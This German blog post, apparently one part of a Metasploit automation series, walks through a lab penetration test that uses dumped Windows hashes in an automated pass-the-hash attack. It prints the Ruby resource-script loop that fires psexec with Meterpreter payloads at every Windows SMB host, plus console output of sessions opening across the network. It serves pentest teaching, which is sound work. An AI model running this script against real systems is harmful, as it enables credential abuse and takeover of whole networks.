Automatisierung im Rahmen eines Pentests - part 9 (Pass the Hash)
- in a nutshell:
Im Rahmen eines Penetrations Tests war es möglich ein Windows System zu übernehmen und mit dem Hashdump Post Exploitation Modul die Passwort Hashes auszulesen. Eine Abfrage der Credential Datenbank im Metasploit Framework könnte sich beispielsweise ähnlich der folgenden darstellen:
10.8.28.2 - (Sessions: 1 Jobs: 0)> creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
192.168.44.26 445 TsInternetUser 0339dXXXX:82cdf3XXXX smb_hash true
192.168.44.26 445 Guest aad3bXXXX:31d6cfXXXX smb_hash true
192.168.44.26 445 Administrator d55bdXXXX:f00a15XXXX smb_hash true
192.168.44.26 445 bob 81cbcXXXX:561cbdXXXX smb_hash true
192.168.44.26 445 IWAM_WIN2K-ENG 8fe23XXXX:c4d689XXXX smb_hash true
192.168.44.26 445 IUSR_WIN2K-ENG a8d8eXXXX:714e83XXXX smb_hash true
[*] Found 6 credentials.
Diese Hashes sollten im weiteren Verlauf möglichst einfach, zeitlich optimiert und zielgerichtet gegen die vollständige Windows Umgebung per Pass the Hash zum Einsatz kommen.
Discovery
Im nächsten Schritt muss das Netzwerk auf vorhandene SMB Services analysiert werden. Um diese Analyse möglichst schnell und unkompliziert durchführen zu können, lässt sich das basic_discovery.rc Resource Skript von Metasploit verwenden. Um für den Nmap Scan ausschließlich Port 445 zu testen werden folgende Nmap Optionen mit dem Parameter NMAPOPTS gesetzt.
10.8.28.2 - (Sessions: 0 Jobs: 0)> setg NMAPOPTS -sSV -p445
10.8.28.2 - (Sessions: 0 Jobs: 0)> setg VERBOSE true
10.8.28.2 - (Sessions: 0 Jobs: 0)> setg RHOSTS 192.168.44.0/24
10.8.28.2 - (Sessions: 0 Jobs: 0)> resource basic_discovery.rc
Die dargestellte VERBOSE Option gibt weitere Statusinformationen und RHOSTS definiert den zu analysierenden Netzwerkbereich. Alternativ zu dem Resource Skript lässt sich für diesen Discovery Vorgang auch einfach das smb_version Auxiliary Modul nutzen.
Im Anschluss an den Discovery Vorgang umfasst die Hosts-Tabelle in unserem Fall folgende Einträge:
10.8.28.2 - (Sessions: 0 Jobs: 0)> hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.44.1 Unknown device
192.168.44.3 00:0c:29:c8:d6:bd domaincontrolle Microsoft Windows 2003 SP2 server
192.168.44.22 pwn-machine Unknown device
192.168.44.23 00:0c:29:26:60:d0 msf-xp Microsoft Windows XP SP3 client
192.168.44.24 metasploitable Linux Debian server
192.168.44.26 00:0c:29:4f:d3:d8 waytohell Microsoft Windows 2000 SP4 client
192.168.44.36 00:0c:29:a2:02:5c waytohell-36 Microsoft Windows 2000 SP4 client
192.168.44.37
<snip>
Unsere Services umfassen folgende SMB Services:
10.8.28.2 - (Sessions: 0 Jobs: 0)> services -s smb -u
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.44.3 445 tcp smb open Windows 2003 Service Pack 2 (language: Unknown) (name:DOMAINCONTROLLE) (domain:MSF-TRAINING)
192.168.44.22 445 tcp smb open Unix Samba 3.5.6 (language: Unknown) (name:PWN-MACHINE) (domain:PWN-MACHINE)
192.168.44.23 445 tcp smb open Windows XP Service Pack 3 (language: English) (name:MSF-XP) (domain:MSF-TRAINING)
192.168.44.24 445 tcp smb open Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
192.168.44.26 445 tcp smb open Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL) (domain:MSF-TRAINING)
192.168.44.36 445 tcp smb open Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-36) (domain:MSF-TRAINING)
192.168.44.53 445 tcp smb open Windows XP Service Pack 3 (language: English) (name:MSF-XP-53) (domain:MSF-TRAINING)
192.168.44.63 445 tcp smb open Windows XP Service Pack 3 (language: English) (name:MSF-XP-63) (domain:MSF-TRAINING)
192.168.44.66 445 tcp smb open Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-66) (domain:MSF-TRAINING)
192.168.44.72 445 tcp smb open Unix Samba 3.5.6 (language: Unknown) (name:LINUX-72) (domain:LINUX-72)
192.168.44.73 445 tcp smb open Windows XP Service Pack 3 (language: English) (name:MSF-XP-73) (domain:MSF-TRAINING)
192.168.44.74 445 tcp smb open Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
192.168.44.76 445 tcp smb open Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-76) (domain:MSF-TRAINING)
192.168.44.93 445 tcp smb open Windows XP Service Pack 3 (language: English) (name:MSF-XP-93) (domain:MSF-TRAINING)
192.168.44.94 445 tcp smb open Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
192.168.44.96 445 tcp smb open Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-96) (domain:MSF-TRAINING)
192.168.44.102 445 tcp smb open Unix Samba 3.5.6 (language: Unknown) (name:PWN-MACHINE) (domain:PWN-MACHINE)
192.168.44.103 445 tcp smb open Windows XP Service Pack 3 (language: English) (name:MSF-XP-103) (domain:MSF-TRAINING)
192.168.44.104 445 tcp smb open Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
192.168.44.106 445 tcp smb open Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-106) (domain:MSF-TRAINING)
Pass the Hash
An den dargestellten Ausgaben der Datenbankabfrage ist bereits erkennbar, dass es mehrere Windows Systeme die als Ziele für unseren Angriff durchaus in Frage kommen gibt. Zwischen diesen Windows Systemen befinden sich allerdings auch mehrere Linux Systeme mit Samba Servern die für den Pass the Hash Angriff nicht anfällig sind.
Es müssen im weiteren Verlauf alle vorhandenen Passwort Hashes der Credential Datenbank gegen alle SMB-Services auf Windows Systemen zum Einsatz gebracht werden.
Das auto_pass_the_hash.rc Resource Skript durchläuft im ersten Schritt alle Credentials und überprüft diese auf vorhandene Windows Passwort Hashes:
framework.db.creds.each do |creds|
next if (creds.ptype !~ /smb_hash/)
Wenn kein Hash dabei ist, wird direkt der nächste Eintrag geprüft. Bei einem ersten Fund eines Passwort Hashes wird erst John the Ripper über das Modul jtr_crack_fast gegen die gesamte Credential Datenbank zum Einsatz gebracht und anschl. werden die ermittelten Hosts durchlaufen und auf Windows Systeme geprüft:
framework.db.hosts.each do |host|
next if (host.os_name !~ /Windows/)
Bei Windows Systemen geht das Skript in die Service Datenbank und überprüft die Services auf offene Services die den Namen smb aufweisen:
host.services.each do |serv|
next if not serv.host
next if (serv.state != ServiceState::Open)
next if (serv.name !~ /smb/)
Sind auch diese Bedingungen erfüllt, wird psexec mit den aktuellen Eintrag der Credential Datenbank gegen den SMB Service eines Windows Systems angewendet:
run_single("use exploit/windows/smb/psexec")
run_single("set RHOST #{host.address}")
run_single("set RPORT #{serv.port}")
run_single("set SMBUser #{username}")
run_single("set SMBPass #{smbhash}")
run_single("set PAYLOAD #{pload}")
if pload =~ /reverse/
run_single("set LPORT #{(rand(0x8fff) + 4000).to_s}")
end
if(verbose == 1)
run_single("set VERBOSE true")
end
run_single("exploit -j -z")
Im dargestellten Netzwerk gestaltet sich dieser Angriff mit den ermittelten Passwort Hashes folgendermaßen (Darstellung in Auszügen):
10.8.28.2 - (Sessions: 1 Jobs: 0)> resource auto_pass_the_hash.rc
[*] Processing /opt/metasploit4/msf3/codes/resource/auto_pass_the_hash.rc for ERB directives.
[*] resource (/opt/metasploit4/msf3/codes/resource/auto_pass_the_hash.rc)> Ruby Code (2960 bytes)
using psexec - Pass the hash
====================================
IP: 192.168.44.3
OS: Microsoft Windows
Servicename: smb
Service Port: 445
Service Protocol: tcp
user: TsInternetUser
pass: XXXX:XXXX
====================================
RHOST => 192.168.44.3
RPORT => 445
SMBUser => TsInternetUser
SMBPass => XXXX:XXXX
PAYLOAD => windows/meterpreter/bind_tcp
VERBOSE => true
[*] Exploit running as background job.
using psexec - Pass the hash
[*] [2012.04.10-10:38:39] Connecting to the server...
====================================
IP: 192.168.44.23
OS: Microsoft Windows
Servicename: smb
Service Port: 445
Service Protocol: tcp
[*] [2012.04.10-10:38:39] Started bind handler
user: TsInternetUser
[*] [2012.04.10-10:38:39] Authenticating to 192.168.44.3:445|WORKGROUP as user 'TsInternetUser'...
pass: XXXX:XXXX
====================================
<snip>
SMBPass => YYYY:YYYY
[*] Meterpreter session 4 opened (10.8.28.2:37068 -> 192.168.44.26:4444) at 2012-04-10 10:39:16 +0200
[*] [2012.04.10-10:39:16] Obtaining a service manager handle...
[*] [2012.04.10-10:39:16] Opening service...
[*] [2012.04.10-10:39:16] Closing service handle...
[*] [2012.04.10-10:39:16] Created \koqjACJh.exe...
PAYLOAD => windows/meterpreter/bind_tcp
VERBOSE => true
[*] [2012.04.10-10:39:17] Deleting \SYHDEQpb.exe...
[*] [2012.04.10-10:39:17] Starting the service...
[*] [2012.04.10-10:39:17] Creating a new service (kQsYotkB - "MtPjuYlSoKPxSKiZrhXz")...
[*] [2012.04.10-10:39:17] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.44.66[\svcctl] ...
[*] Exploit running as background job.
[*] [2012.04.10-10:39:17] Removing the service...
[*] [2012.04.10-10:39:17] Connecting to the server...
using psexec - Pass the hash
[*] [2012.04.10-10:39:17] Started bind handler
[*] [2012.04.10-10:39:18] Authenticating to 192.168.44.93:445|WORKGROUP as user 'Administrator'...
====================================
IP: 192.168.44.96
OS: Microsoft Windows
Servicename: smb
Service Port: 445
Service Protocol: tcp
user: Administrator
pass: YYYY:YYYY
====================================
[*] [2012.04.10-10:39:18] Closing service handle...
[*] [2012.04.10-10:39:18] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.44.66[\svcctl] ...
[*] [2012.04.10-10:39:18] Sending stage (752128 bytes) to 192.168.44.53
[*] [2012.04.10-10:39:18] Obtaining a service manager handle...
[*] Meterpreter session 5 opened (10.8.28.2:39985 -> 192.168.44.36:4444) at 2012-04-10 10:39:18 +0200
[-] [2012.04.10-10:39:18] Exploit exception: Login Failed: The server responded with error: STATUS_TRUSTED_RELATIONSHIP_FAILURE (Command=115 WordCount=0)
[*] [2012.04.10-10:39:18] Closing service handle...
RHOST => 192.168.44.96
[*] [2012.04.10-10:39:19] Deleting \cCUXWxzL.exe...
[*] [2012.04.10-10:39:19] Creating a new service (eeaxVKMY - "MXDKBzdHyOWnZYElJgzyj")...
RPORT => 445
SMBUser => Administrator
SMBPass => YYYY:YYYY
[*] [2012.04.10-10:39:20] Opening service...
Im Anschluss and diesen Vorgang ergibt eine neue Abfrage der Credential Datenbank folgendes Bild:
10.8.28.2 - (Sessions: 13 Jobs: 1)> creds
Credentials
===========
host port user pass type active?
---- ---- ---- ---- ---- -------
192.168.44.3 445 administrator XXXX smb_hash true
192.168.44.23 445 administrator XXXX smb_hash true
192.168.44.26 445 TsInternetUser XXXX smb_hash true
192.168.44.26 445 iwam_win2k-eng XXXX smb_hash true
192.168.44.26 445 bob XXXX smb_hash true
192.168.44.26 445 iusr_win2k-eng XXXX smb_hash true
192.168.44.26 445 Guest XXXX smb_hash true
192.168.44.26 445 Administrator XXXX smb_hash true
192.168.44.26 445 IUSR_WIN2K-ENG XXXX smb_hash true
192.168.44.26 445 tsinternetuser XXXX smb_hash true
192.168.44.26 445 IWAM_WIN2K-ENG XXXX smb_hash true
192.168.44.26 445 administrator XXXX smb_hash true
192.168.44.36 445 iusr_win2k-eng XXXX smb_hash true
192.168.44.36 445 iwam_win2k-eng XXXX smb_hash true
192.168.44.36 445 tsinternetuser XXXX smb_hash true
192.168.44.36 445 administrator XXXX smb_hash true
192.168.44.36 445 bob XXXX smb_hash true
192.168.44.53 445 administrator XXXX smb_hash true
192.168.44.63 445 administrator XXXX smb_hash true
192.168.44.66 445 tsinternetuser XXXX smb_hash true
192.168.44.66 445 bob XXXX smb_hash true
192.168.44.66 445 administrator XXXX smb_hash true
192.168.44.66 445 iusr_win2k-eng XXXX smb_hash true
192.168.44.66 445 iwam_win2k-eng XXXX smb_hash true
192.168.44.73 445 administrator XXXX smb_hash true
192.168.44.76 445 bob XXXX smb_hash true
<snip>
[*] Found 41 credentials.
Zudem zeigt die Abfrage der Sessions jetzt 13 Sessions an. Wir konnten somit in sehr kurzer Zeit das vollständige Netzwerk auf vorhandene User und gleiche Passwort Hashes prüfen. Handelt es sich bei dem geprüften User um einen administrativen Benutzer wird sofort eine Session aufgebaut. :-)
Ich hoffe ihr habt alle euer Passwort Management der lokalen Accounts im Einsatz :-D
Falls ihr weitere Informationen zu Metasploit benötigt findet ihr diese in meinem Buch. Erste Probekapitel findet ihr zudem auf der dpunkt-Webseite.
Das Buch lässt sich natürlich auf Amazon bestellen.
Bis zum nächsten Teil wo wir weitere Automatisierungsmöglichkeiten von Metasploit betrachten werden.
have phun,
mIke
Recent comments
7 years 10 weeks ago
8 years 21 weeks ago
8 years 33 weeks ago
8 years 34 weeks ago
8 years 35 weeks ago
8 years 46 weeks ago
9 years 3 weeks ago
9 years 6 weeks ago
9 years 10 weeks ago
9 years 11 weeks ago